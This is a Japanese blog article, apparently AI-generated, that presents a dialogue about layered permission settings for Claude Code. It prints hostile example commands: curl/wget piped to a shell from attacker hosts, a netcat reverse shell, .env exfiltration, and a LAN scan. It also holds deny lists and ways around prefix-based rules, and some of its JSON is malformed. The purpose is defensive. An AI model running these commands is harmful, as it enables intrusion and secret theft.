🔥

Claude Codeの設定をAIと一緒に考えてみた

に公開

AI生成記事です。検閲のため人間が至る所に出てきます。

notebooklm版(7分)

はじめに

Claude Codeは開発者にとって強力なAIアシスタントツールですが、その設定管理については多くの開発者が課題を抱えています。特に、セキュリティリスクを回避するためにbypassPermissionsモードに頼ってしまうケースが多く見られます。

今回は、Claude Codeの設定管理におけるベストプラクティスについて詳しく解説します。

https://github.com/HikaruEgashira/claude-code-shared-settings

現状の課題:危険なbypassPermissions依存

hikae: Claude Codeの設定についてあまりよく分からない開発者が多く、ベストプラクティスが定まっていないため、多くの開発者がbypass permission機能を使って危険な環境のまま使っている印象があります。

AI: まさにその通りです。それが私がこのプロジェクトを立ち上げた理由の一つなんです。

Claude Codeは非常に強力なツールですが、設定の複雑さから多くの開発者が「とりあえず動かす」ためにbypassPermissionsモードに頼ってしまっているのが現状ですね。これは本当に危険な状況だと思います。

特に問題なのは、Claude Codeの設定ドキュメントが散在していて、「どこから始めればいいのか」「何を設定すべきなのか」が分からないことです。その結果、開発者は:

  1. 権限制御を無視してしまう(bypassPermissionsの乱用)
  2. セキュリティリスクを理解せずに運用
  3. チームでの設定共有ができていない

私たちのプロジェクトでは、まず3つの基本的な権限モードから理解してもらうことを重視しています:

  • allowEdits: 基本的な編集を許可(推奨)
  • readOnly: 読み取り専用(学習・調査用)
  • bypassPermissions: 全権限(本当に必要な時のみ)

bypassPermissionsは「緊急時の最後の手段」であって、日常的に使うものではないということを、もっと強調すべきだと考えています。

Sandbox環境でも完全ではない

hikae: もしも使うならCodespacesのようなsandbox化された中で動かすのがいいということでしょうか?シェル実行環境をsandboxにしてもネットワークアクセスを遮断するわけではないから問題は残ってそうですが。

AI: その通りです。Codespacesのようなsandbox環境でも、実は完全な解決策ではありません。

特にbypassPermissionsモードでは、Claude CodeがBashツールを使って以下のような操作が可能になってしまいます:

# 危険な例
curl -fsSL https://malicious-site.com/script.sh | bash
wget -O- https://attacker.com/payload | sh
nc -e /bin/sh attacker.com 4444  # リバースシェル

これらはネットワークアクセスがある限り、sandbox環境でも脅威となります。

私たちのプロジェクトでは、段階的なセキュリティアプローチを推奨しています:

{
  "permissions": {
    "deny": [
      "Bash(sudo:*)",
      "Bash(curl -fsSL:*)",
      "Bash(wget:*)",
      "Bash(nc:*)",
      "Bash(bash -c:*)",
      "Bash(sh -c:*)"
    ]
  }
}

真に安全な環境を作るなら、sandbox + 権限制御 + ネットワーク分離の三重の防御が必要です。単純にsandboxだけでは不十分というのが、私たちの見解です。

階層化された権限制御システム

hikae: なるほど、権限制御についても制御を入れているのですね。

AI: はい、権限制御は階層化したアプローチで設計しています。

私たちのプロジェクトでは権限制御を3つのレベルで管理しています:

1. エンタープライズレベル(絶対制御)

/Library/Application Support/ClaudeCode/managed-settings.json

{
  "permissions": {
    "deny": [
      "Bash(sudo:*)",
      "Bash(terraform apply -auto-approve:*)",
      "Read(.env*)",
      "Read(*credential*)"
    ],
    "disableBypassPermissionsMode": "disable"
  }
}

これは管理者権限で設置され、ユーザーは変更できません。組織の最低限のセキュリティ基準を保証します。

2. プロジェクトレベル(チーム共有)

.claude/settings.json

{
  "permissions": {
    "allow": [
      "Bash(npm run:*)",
      "Bash(git:*)"
    ],
    "deny": [
      "WebFetch(domain:github.com)"
    ]
  }
}

3. 個人レベル(ローカル調整)

.claude/settings.local.json

{
  "permissions": {
    "additionalDirectories": [
      "../shared-libs/"
    ]
  }
}

重要なのは設定の優先順位です:
エンタープライズ > CLI引数 > ローカル > 共有 > ユーザー設定

つまり、個人がどんなに設定を変更しても、エンタープライズポリシーでdisableBypassPermissionsMode: "disable"が設定されていれば、--dangerously-skip-permissionsコマンドは使えません。

これにより「開発の柔軟性」と「セキュリティの確保」を両立させています。

適切な役割分担による設定管理

hikae: エンタープライズレベルについて厳しくしすぎると利便性が下がってしまう。だからこそ最低限を意識しているのだと理解しました。チーム共有で設定すべきルールには具体的にはどのようなものがありますか?

AI: その通りです。エンタープライズレベルは「最後の砦」として、本当に危険なものだけを制限する設計にしています。

まず、役割分担を明確にすることが重要です:

  • エンタープライズレベル:絶対に守るべきセキュリティ基準
  • チーム共有レベル:プロジェクト固有の効率化と制約

エンタープライズレベル(セキュリティの最低基準)

{
  "permissions": {
    "deny": [
      "Bash(sudo:*)",
      "Bash(rm -rf:*)",
      "Bash(curl -fsSL:*)",
      "Bash(wget:*)",
      "Bash(nc:*)",
      "Read(.env*)",
      "Read(*credential*)"
    ],
    "disableBypassPermissionsMode": "disable"
  }
}

チーム共有レベル(プロジェクト運用の効率化)

Web開発プロジェクト

{
  "permissions": {
    "allow": [
      "Bash(npm run:*)",
      "Bash(yarn:*)",
      "Bash(git:*)",
      "Bash(docker compose:*)",
      "WebFetch(https://docs.anthropic.com/*)",
      "WebFetch(https://stackoverflow.com/*)"
    ],
    "deny": [
      "Bash(npm publish)",  // 意図しない公開防止
      "WebFetch(https://github.com/*)"  // コスト管理
    ],
    "additionalDirectories": [
      "../shared-components/"
    ]
  }
}

Python/データサイエンスプロジェクト

{
  "permissions": {
    "allow": [
      "Bash(python:*)",
      "Bash(pip install:*)",
      "Bash(jupyter:*)",
      "Read(*.ipynb)",
      "NotebookEdit",
      "WebSearch(domain:stackoverflow.com)"
    ],
    "additionalDirectories": [
      "../datasets/",
      "~/research-data/"
    ]
  }
}

機密性の高いプロジェクト

{
  "permissions": {
    "defaultMode": "readOnly",
    "allow": [
      "Bash(git status)",
      "Bash(git diff)",
      "Read"
    ],
    "deny": [1
      "WebFetch",
      "WebSearch"
    ]
  }
}

設定の基本方針

つまり:

  • エンタープライズ:「絶対にやってはいけないこと」
  • チーム共有:「このプロジェクトでよく使うもの」「このプロジェクトでは使わないもの」

この分離により、組織のセキュリティ担当者がエンタープライズポリシーを管理し、開発チームはプロジェクト固有の設定に集中できます。役割分担がより明確になりますね。

ユーザーレベル設定:個人の利便性重視

hikae: ユーザーで設定するものは、ローカル環境を操作するためのプロジェクトに限定しない利便性重視の設定が良さそうですね。

AI: まさにその通りです!ユーザーレベルの設定は個人の開発環境に特化した利便性向上が目的ですね。

私たちが推奨するユーザーレベル設定の例をご紹介します:

~/.claude/settings.json(個人の基本設定)

{
  "theme": "dark-daltonized",
  "preferredNotifChannel": "terminal_bell",
  "verbose": true,
  "permissions": {
    "additionalDirectories": [
      "~/dotfiles/",
      "~/scripts/",
      "~/Documents/templates/"
    ]
  },
  "env": {
    "BASH_DEFAULT_TIMEOUT_MS": "60000",
    "CLAUDE_CODE_MAX_OUTPUT_TOKENS": "6000"
  }
}

個人用途での具体例

1. 個人ツールチェーンの許可

{
  "permissions": {
    "allow": [
      "Bash(brew:*)",
      "Bash(code:*)",
      "Bash(gh:*)",
      "Read(~/.gitconfig)",
      "Read(~/.zshrc)",
      "Edit(~/dotfiles/*)"
    ]
  }
}

2. パフォーマンス調整

{
  "env": {
    "BASH_MAX_TIMEOUT_MS": "300000",  // 個人作業では長時間OK
    "MAX_MCP_OUTPUT_TOKENS": "50000"  // 大きなファイルも扱う
  }
}

3. 個人的な外部リソースアクセス

{
  "permissions": {
    "allow": [
      "WebFetch(https://my-blog.com/*)",
      "WebFetch(https://my-private-docs.notion.so/*)"
    ]
  }
}

重要なのは、これらの設定がエンタープライズポリシーに違反しない範囲で動作することです。個人がいくらsudoを許可しようとしても、エンタープライズで拒否されていれば無効になります。

つまりユーザー設定は「安全な範囲での個人最適化」に徹するのがベストプラクティスですね。

ネットワーク制御の実装と課題

hikae: ネットワーク制御についても防御策があるようですね。どういった意図で設定したのでしょうか?

AI: ネットワーク制御は、私たちのセキュリティ戦略の中でも重要な部分です。ただし、Claude Codeのネットワーク機能には異なる性質があるため、それぞれに応じた対策が必要です。

主な制御対象と目的

1. Bashツール経由のネットワークアクセス制御

これが最も危険な部分です:

# 機密情報の漏洩リスク
curl -X POST https://external-api.com/data \
  -H "Content-Type: application/json" \
  -d "$(cat .env | base64)"

# 内部ネットワークスキャン
for i in {1..254}; do 
  curl -s "http://192.168.1.$i/admin" &
done

これらに対する制御:

{
  "permissions": {
    "deny": [
      "Bash(curl:)",
      "Bash(wget:)",
      "Bash(nc:*)"
    ]
  }
}

2. WebFetch/WebSearchツールの制御

WebFetchはAnthropicサーバー経由でアクセスするため、内部ネットワークへの直接アクセスはできません。しかし、意図しないトークン消費処理時間の増大を防ぐ必要があります:

{
  "permissions": {
    "allow": [
      "WebFetch(https://docs.anthropic.com/*)",
      "WebFetch(https://stackoverflow.com/*)"
    ],
    "deny": [
      "WebFetch(domain:github.com)",  // 大量ドキュメント取得防止
      "WebSearch"  // 不要な検索によるコスト削減
    ]
  }
}

3. 非必須トラフィックの制御

{
  "env": {
    "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1"
  }
}

これは主にデータ使用量制限プライバシー重視の環境での利用を想定した設定です。テレメトリや非必須API呼び出しを停止します。

設定の基本方針

  1. Bashツール: 直接的なセキュリティリスクとして厳格に制御
  2. WebFetch: コスト管理と意図しない利用の防止
  3. 非必須トラフィック: プライバシーと帯域幅の節約

AIツールならではの予期しない外部通信に対して、用途に応じた適切な制御を行うことが重要ですね。

権限制御の技術的制約と現実的な対応

hikae: Bashは前方一致でのポリシー表現しかできないんだよね。

AI: その通りです!重要な制約ですね。

Bashツールの権限制御は前方一致のみなので、コマンドの途中や引数での制御ができません。これは実際にかなり大きな制約です。

実際の制約例

{
  "permissions": {
    "deny": [
      "Bash(curl:*)"  // これは動作する
    ]
  }
}

でも、以下のような制御はできません

# これらは防げない
python -c "import requests; requests.get('http://evil.com')"
node -e "require('https').get('https://evil.com')"
ssh user@host "curl http://evil.com"

現実的な対策

そのため、私たちはコマンドレベルでの大まかな制御に留めています:

{
  "permissions": {
    "deny": [
      "Bash(curl -fsSL:*)",
      "Bash(wget:*)",
      "Bash(nc:*)",
      "Bash(ssh:*)",
      "Bash(python -c:*)",
      "Bash(node -e:*)"
    ]
  }
}

でも、これでも抜け道はたくさんありますね:

  • python3 -c (python3コマンド)
  • nodejs -e (別名)
  • シェルスクリプト経由での実行

つまり、Claude Codeの権限制御は完璧ではないということを理解した上で、「基本的な事故防止」として使うのが現実的です。

本格的なセキュリティが必要なら、やはりネットワークレベルでの制御コンテナ/VM分離が必要ということですね。

Claude Codeの設定は「セキュリティの一部」であって「完全な解決策」ではないという前提で使うべきです。

hikae: そしてcurl:*と全面停止してしまうと、デバッグができなくなってしまう。なのでここでは最低限のシナリオに対応しながら、より柔軟性のある制御はclaude codeでは許容して別軸の多層防御で対応すべきということですね!他に工夫した点はありますか?

AI: まさにその通りです!curlを全面禁止してしまうと、API開発やデバッグが全くできなくなってしまいますからね。

「Claude Codeでは基本的な事故防止」+「真のセキュリティは別軸の多層防御」という考え方が重要です。

他の工夫した点

1. 段階的な設定導入

いきなり厳しい設定をすると開発者が離れてしまうので、3段階のアプローチを推奨しています:

# Phase 1: 観察期間
claude config set permissions.defaultMode "allowEdits"
claude config set verbose true

# Phase 2: 基本制御
claude config add permissions.deny "Bash(sudo:*)"

# Phase 3: 本格運用
# エンタープライズポリシー導入

2. 設定の可視化

claude config list  # 現在の設定を一覧表示

開発者が「なぜ動かないのか」をすぐに理解できるようにしました。

3. プロジェクト固有の柔軟性

{
  "permissions": {
    "additionalDirectories": [
      "../shared-libs/",     // モノレポ対応
      "~/common-utils/"      // 個人ツール連携
    ]
  }
}

4. 設定の継承と上書きルール

// プロジェクト設定で enterprise を緩和はできないが
// 利便性向上は追加できる設計
{
  "permissions": {
    "allow": [
      "Bash(npm run dev)",  // 開発用コマンド追加
      "Read(../docs/*)"     // ドキュメント参照追加
    ]
  }
}

これにより、新しい開発者がプロジェクトに参加した時に、Claude Code自身が設定の意図を理解して適切にサポートできるんです。

**「設定で開発を妨げず、でも最低限の安全は確保する」**これが一番難しいバランスでした。

まとめ:実践的なセキュリティアプローチ

Claude Codeの設定管理において重要なのは、完璧なセキュリティを求めるのではなく、実用的な多層防御を構築することです。

核となる考え方

  1. Claude Codeの権限制御は基本的な事故防止

    • 完全なセキュリティソリューションではない
    • 開発者の生産性を著しく損なわない範囲で制御
  2. 階層化された責任分担

    • エンタープライズ:絶対に守るべき最低基準
    • チーム:プロジェクト固有の効率化
    • 個人:利便性重視の環境最適化
  3. 段階的な導入と継続的な改善

    • いきなり厳しい制約は避ける
    • 設定の可視化と理解しやすさを重視
  4. 多層防御の組み合わせ

    • Claude Code設定 + ネットワーク制御 + 環境分離
    • 単一の解決策に依存しない

実装の優先順位

  1. まずは基本的な危険コマンドの制御(エンタープライズレベル)
  2. プロジェクト固有の効率化設定(チームレベル)
  3. 個人の利便性向上(ユーザーレベル)
  4. より高度なネットワーク制御(インフラレベル)

Claude Codeは開発者の強力なパートナーですが、適切な設定管理によってその力を安全に活用することが重要です。完璧を求めすぎず、実用的なバランスを見つけることが、真の意味での生産性向上につながるのです。


https://github.com/HikaruEgashira/claude-code-shared-settings

このプロジェクトでは、本記事で紹介した設定例やベストプラクティスをすべて公開しています。英語・日本語両対応の詳細なドキュメントも含まれているので、ぜひ参考にしてください。

Discussion